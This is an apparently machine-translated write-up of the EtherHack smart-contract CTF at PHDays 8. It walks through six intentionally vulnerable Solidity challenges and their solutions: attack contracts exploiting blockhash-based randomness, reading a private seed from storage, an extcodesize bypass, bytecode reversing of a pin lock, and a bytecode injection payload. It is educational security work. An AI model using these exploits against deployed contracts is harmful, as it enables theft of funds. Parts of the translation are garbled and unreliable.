Finding vulnerabilities in smart contracts: review of the EtherHack contest at Positive Hack Days 8

This year, for the first time, a contest called EtherHack was held at PHDays . Participants sought vulnerabilities in smart speed contracts. In this article we will tell you about the tasks of the competition and possible solutions.
Azino 777
Win a lottery and break the bank!
The first three tasks were related to errors when generating pseudo-random numbers, which we recently talked about: We predict random numbers in smart Ethereum contracts . The first task was based on the pseudo-random number generator (PRNG), which used the hash of the last block as a source of entropy for generating random numbers:
pragma solidity ^0.4.16;
contract Azino777 {
function spin(uint256 bet)public payable {
require(msg.value >= 0.01 ether);
uint256 num = rand(100);
if(num == bet) {
msg.sender.transfer(this.balance);
}
}
//Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) constant privatereturns(uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
return uint256((uint256(hashVal) / factor)) % max;
}
function() public payable {}
}
Since the result of a function call
block.blockhash(block.number-1)
will be the same for any transaction within a single block, an attack-exploit contract with the same function can be used in an attack rand()
to trigger a target contract through an internal message:function WeakRandomAttack(address _target)public payable {
target = Azino777(_target);
}
function attack()public{
uint256 num = rand(100);
target.spin.value(0.01 ether)(num);
}
Private ryan
We have added a private initial value that no one will ever calculate.
This task is a slightly complicated version of the previous one. The variable seed, which is considered private, is used to offset the sequence number of the block (block.number), so that the hash of the block is not dependent on the previous block. After each bet, the seed is rewritten to a new "random" offset. For example, in the Slotthereum lottery, this is exactly what happened.
contract
PrivateRyan {
uint private seed = 1;
function PrivateRyan(){
seed = rand(256);
}
function spin(uint256 bet)public payable {
require(msg.value >= 0.01 ether);
uint256 num = rand(100);
seed = rand(256);
if(num == bet) {
msg.sender.transfer(this.balance);
}
}
/* ... */
}
As in the previous task, the hacker needed only to copy the function
rand()
into an exploit contract, but in this case the value of the private seed variable needed to be obtained outside the blockchain and then sent to the exploit as an argument. To do this, you could use the web3.eth.getStorageAt () method from the web3 library: 
Reading the contract storage outside the blockchain to get the initial value
After receiving the initial value, all that remains is to send it to the exploit, which is almost identical to the one in the first task:
contract PrivateRyanAttack {
PrivateRyan target;
uint private seed;
function PrivateRyanAttack(address _target, uint _seed)public payable {
target = PrivateRyan(_target);
seed = _seed;
}
function attack()public{
uint256 num = rand(100);
target.spin.value(0.01 ether)(num);
}
/* ... */
}
Wheel of fortune
The following block hash is used in this lottery. Try to calculate it!
In this task, it was necessary to find out the hash of the block, whose number was saved in the Game structure after the bid was made. Then this hash was extracted to generate a random number after making the next bet.
Pragma
solidity
^0.4.16;
contract WheelOfFortune {
Game[] public games;
structGame {
address player;
uint id;
uint bet;
uint blockNumber;
}
function spin(uint256 _bet)public payable {
require(msg.value >= 0.01 ether);
uint gameId = games.length;
games.length++;
games[gameId].id = gameId;
games[gameId].player = msg.sender;
games[gameId].bet = _bet;
games[gameId].blockNumber = block.number;
if (gameId > 0) {
uint lastGameId = gameId - 1;
uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100);
if(num == games[lastGameId].bet) {
games[lastGameId].player.transfer(this.balance);
}
}
}
function rand(bytes32 hash, uint max) pure privatereturns(uint256 result){
return uint256(keccak256(hash)) % max;
}
function() public payable {}
}
In this case, there are two possible solutions.
- Call a target contract twice through an exploit contract. The result of calling the block.blockhash function (block.number) will always be zero.
- Wait for 256 blocks, and make a second bet. The hash of the saved block sequence number will be zero due to the limitations of the Ethereum virtual machine (EVM) in the number of block hashes available.
In both cases, the winning bid will be
uint256(keccak256(bytes32(0))) % 100
either "47".Call me maybe
This contract does not like when it is caused by other contracts.
One of the options for protecting a contract from being called by other contracts is to use an EVM assembler instruction
extcodesize
that returns the size of the contract to its address. The method consists in using the assembler insert to apply this instruction to the address of the sender of the transaction. If the result is greater than zero, then the sender of the transaction is a contract, since regular addresses in Ethereum do not have a code. It was this approach that was used in this assignment to prevent a contract from being called up by other contracts.contract
CallMeMaybe
{
modifier CallMeMaybe(){
uint32 size;
address _addr = msg.sender;
assembly {
size := extcodesize(_addr)
}
if (size > 0) {
revert();
}
_;
}
function HereIsMyNumber() CallMeMaybe {
if(tx.origin == msg.sender) {
revert();
} else {
msg.sender.transfer(this.balance);
}
}
function() payable {}
}
The transaction property
tx.origin
points to the original creator of the transaction, and msg.sender to the last caller. If we send a transaction from a normal address, these variables will be equal, and we will eventually receive revert()
. Therefore, to solve our problem, it was necessary to bypass the instruction check extcodesize
, so that tx.origin
it was msg.sender
different. Fortunately, there is one glorious feature in EVM that will help with this: 
Indeed, when a contract that has just been placed causes some other contract in the designer, it does not yet exist in the blockchain itself, it acts solely as a wallet. Thus, a code is not tied to a new contract and extcodesize will return zero:
contract CallMeMaybeAttack {
function CallMeMaybeAttack(CallMeMaybe _target) payable {
_target.HereIsMyNumber();
}
function() payable {}
}
The lock
Oddly enough, the lock is closed. Try to find the pin code through the unlock function (bytes4 pincode). Each unlock attempt will cost you 0.5 esters.
In this task, the participants were not given a code - they had to restore the contract logic by its byte code. One option was to use Radare2 - a platform that is used for disassembling and debugging EVM .
First, let's post an example of the task and enter the code at random:
await contract.unlock("1337", {value: 500000000000000000}) →false
The attempt, of course, is good, but unsuccessful. Now we will try to debug this transaction.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
In this case, we instruct Radare2 to use the evm architecture. Then this tool connects to the Ethereum node and retrieves the trace of this transaction in the virtual machine. And now, finally, we are ready to dive into the EVM bytecode.
First of all, you need to perform an analysis:
[0x00000000]> aa
[x] Analyze all flags starting with sym. andentry0(aa)
Next, disassemble the first 1000 instructions (this should be enough to cover the entire contract) using the pd 1000 command and switch to viewing the graph with the VV command.
In EVM bytecode compiled with help
solc
, usually the first is the function manager. Based on the first four bytes of the call data containing the signature of the function, which is defined as bytes4(sha3(function_name(params)))
, the function manager decides which function to call. We are interested in the function unlock(bytes4)
that corresponds 0x75a4e3a0
. Following the execution flow using the s key, we will reach the node that compares the instruction
callvalue
with the value 0x6f05b59d3b20000
or 500000000000000000
, which is equivalent to 0.5 ether:push8 0x6f05b59d3b20000
callvalue
lt
If the provided air is enough, then we fall into a node that resembles a control structure:
push1 0x4
dup4
push1 0xffand
lt
iszero
push2 0x1a4
jumpi
The code puts the value 0x4 at the top of the stack, checks the upper bound (the value should not exceed 0xff) and compares lt with some value duplicated from the fourth stack element (dup4).
Scrolling through to the bottom of the graph, we see that this fourth element is essentially an iterator, and this control structure is a cycle that corresponds to
for(var i=0; i<4; i++):
push1 0x1
add
swap4
If we consider the body of the loop, it becomes obvious that it performs a search of four incoming bytes and performs some operations with each of the bytes. First, the loop checks that the nth byte is greater than 0x30:
push1 0x30
dup3
lt
iszero
and also that this value is less than 0x39:
push1 0x39
dup3
gt
iszero
what is essentially a check that this byte is in the range from 0 to 9. If the check is successful, then we find ourselves in the most important block of code:

Split this block into parts:
1. The third element in the stack is the ASCII code of the nth byte pin code. 0x30 (ASCII code for zero) is pushed onto the stack and then subtracted from the code of this byte:
push1 0x30
dup3
sub
That is
pincode[i] - 48
, and we essentially get a digit from the ASCII code, let's call it d. 2. 0x4 is added to the stack and used as an exponent for the second item in the stack, d:
swap1
pop
push1 0x4
dup2
exp
That is
d ** 4
. 3. The fifth element of the stack is extracted and the result of the exponentiation is added to it. Let's call this sum S:
dup5
add
swap4
pop
dup1
That is
S += d ** 4
. 4. 0xa (ASCII code for 10) is pushed onto the stack and used as a multiplier for the seventh stack element (which was the sixth before this addition). We do not know what it is, so we call this element U. Then d is added to the result of the multiplication:
push1 0xa
dup7
mul
add
swap5
pop
That is:
U = U * 10 + d
or, more simply, this expression restores the entire pin-code as a number from individual bytes ([0x1, 0x3, 0x3, 0x7] → 1337)
. The most difficult thing we have done, now move on to the code after the cycle.
dup5
dup5
eq
If the fifth and sixth elements in the stack are equal, then the execution thread will lead us to the sstore instruction, which sets a flag in the storage of contracts. Since this is the only sstore instruction, it seems that this is what we were looking for.
But how to pass this test? As we have already found out, the fifth element in the stack is S, and the sixth is U. Since S is the sum of all pin-code digits raised to the fourth power, we need a pin code for which this condition will be satisfied. In our case, the analysis showed that it
1**4 + 3**4 + 3**4 + 7**4
does not equal 1337, and we did not get to the winning instruction sstore
.But now we can calculate a number that satisfies the conditions of this equation. There are only three numbers that can be written down as the sum of the numbers in their fourth power: 1634, 8208 and 9474. Any of them can open the lock!
Pirate Ship
Hey, fool! Pirate ship moored in port. Make him anchor and raise the flag with the Jolly Roger and go in search of treasure.
The standard course of execution of the contract includes three actions:
- A function call
dropAnchor()
with a block number, which must be more than 100,000 blocks larger than the current one. The function dynamically creates a contract, which is an “anchor”, which can be “raised” with the helpselfdestruct()
after the specified block. - Calling a function
pullAnchor()
that initiatesselfdestruct()
if enough time has passed (a lot of time!). - A call to the function sailAway (), which sets the
blackJackIsHauled
value to true if there is no anchor contract.
pragma
solidity
^0.4.19;
contract PirateShip {
address public anchor = 0x0;
boolpublic blackJackIsHauled = false;
function sailAway()public{
require(anchor != 0x0);
address a = anchor;
uint size = 0;
assembly {
size := extcodesize(a)
}
if(size > 0) {
revert(); // it is too early to sail away
}
blackJackIsHauled = true; // Yo Ho Ho!
}
function pullAnchor()public{
require(anchor != 0x0);
require(anchor.call()); // raise the anchor if the ship is ready to sail away
}
function dropAnchor(uint blockNumber)publicreturns(address addr){
// the ship will be able to sail away in 100k blocks time
require(blockNumber > block.number + 100000);
// if(block.number < blockNumber) { throw; }// suicide(msg.sender);
uint[8] memory a;
a[0] = 0x6300; // PUSH4 0x00...
a[1] = blockNumber; // ...block number (3 bytes)
a[2] = 0x43; // NUMBER
a[3] = 0x10; // LT
a[4] = 0x58; // PC
a[5] = 0x57; // JUMPI
a[6] = 0x33; // CALLER
a[7] = 0xff; // SELFDESTRUCT
uint code = assemble(a);
// init code to deploy contract: stores it in memory and returns appropriate offsets
uint[8] memory b;
b[0] = 0; // allign
b[1] = 0x6a; // PUSH11
b[2] = code; // contract
b[3] = 0x6000; // PUSH1 0
b[4] = 0x52; // MSTORE
b[5] = 0x600b; // PUSH1 11 ;; length
b[6] = 0x6015; // PUSH1 21 ;; offset
b[7] = 0xf3; // RETURN
uint initcode = assemble(b);
uint sz = getSize(initcode);
uint offset = 32 - sz;
assembly {
let solidity_free_mem_ptr := mload(0x40)
mstore(solidity_free_mem_ptr, initcode)
addr := create(0, add(solidity_free_mem_ptr, offset), sz)
}
require(addr != 0x0);
anchor = addr;
}
///////////////// HELPERS /////////////////function assemble(uint[8] chunks) internal pure returns(uint code){
for(uint i=chunks.length; i>0; i--) {
code ^= chunks[i-1] << 8 * getSize(code);
}
}
function getSize(uint256 chunk) internal pure returns(uint){
bytes memory b = new bytes(32);
assembly { mstore(add(b, 32), chunk) }
for(uint32 i = 0; i< b.length; i++) {
if(b[i] != 0) {
return32 - i;
}
}
return0;
}
}
The vulnerability is quite obvious: we have a direct injection of the assembler instructions when creating a contract in a function
dropAnchor()
. But the main difficulty was to create a payload that will allow us to pass the test on block.number
. In EVM, you can create contracts using the create statement. Its arguments are value, input offset and input size. value is the bytecode that places the contract itself (initialization code). In our case, the initialization code + contract code is placed in uint256 (thanks to the GasToken team for the idea):
0x6a63004141414310585733ff600052600b6015f3
where the bytes in bold are the contract code and 414141 is the injection site. Since we are faced with the task of getting rid of the throw operator, we need to insert our new contract and rewrite the closing part of the initialization code. We will try to inject the contract with the instruction 0xff, which will lead to the unconditional removal of the contract anchor using
selfdestruct()
:68 414141ff3f3f3f3f3f ;; push9 contract 60 00 ;; push1 0 52 ;; mstore 60 09 ;; push1 9 60 17 ;; push1 17 f3 ;; return
If we convert this sequence of bytes to
uint256 (9081882833248973872855737642440582850680819)
and use it as an argument for a function dropAnchor()
, we get the following value for the variable code (the byte-code in bold is our payload):0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
After the code variable becomes part of the initcode variable, we get the following value:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
Now the high bytes are
0x6300
gone, and the rest, containing the original bytecode, is discarded after 0xf3 (return)
. 
As a result, a new contract with modified logic is created:
41 ;; coinbase 41 ;; coinbase 41 ;; coinbase ff ;; selfdestruct 3f ;; junk 3f ;; junk 3f ;; junk 3f ;; junk 3f ;; junk
If we now call the pullAnchor () function, this contract will be immediately destroyed, since we no longer have checks on the block.number. After that, call the function sailAway () and celebrate the victory!
results
- First place and broadcast in an amount equivalent to 1 000 US dollars: Alexey Pertsev (p4lex)
- Second place and Ledger Nano S: Alexey Markov
- Third place and souvenirs PHDays: Alexander Vlasov
All results: etherhack.positive.com/#/scoreboard

Congratulations to the winners and thank all the participants!
PS We are grateful to Zeppelin for placing the source code of the Ethernaut CTF platform in open access .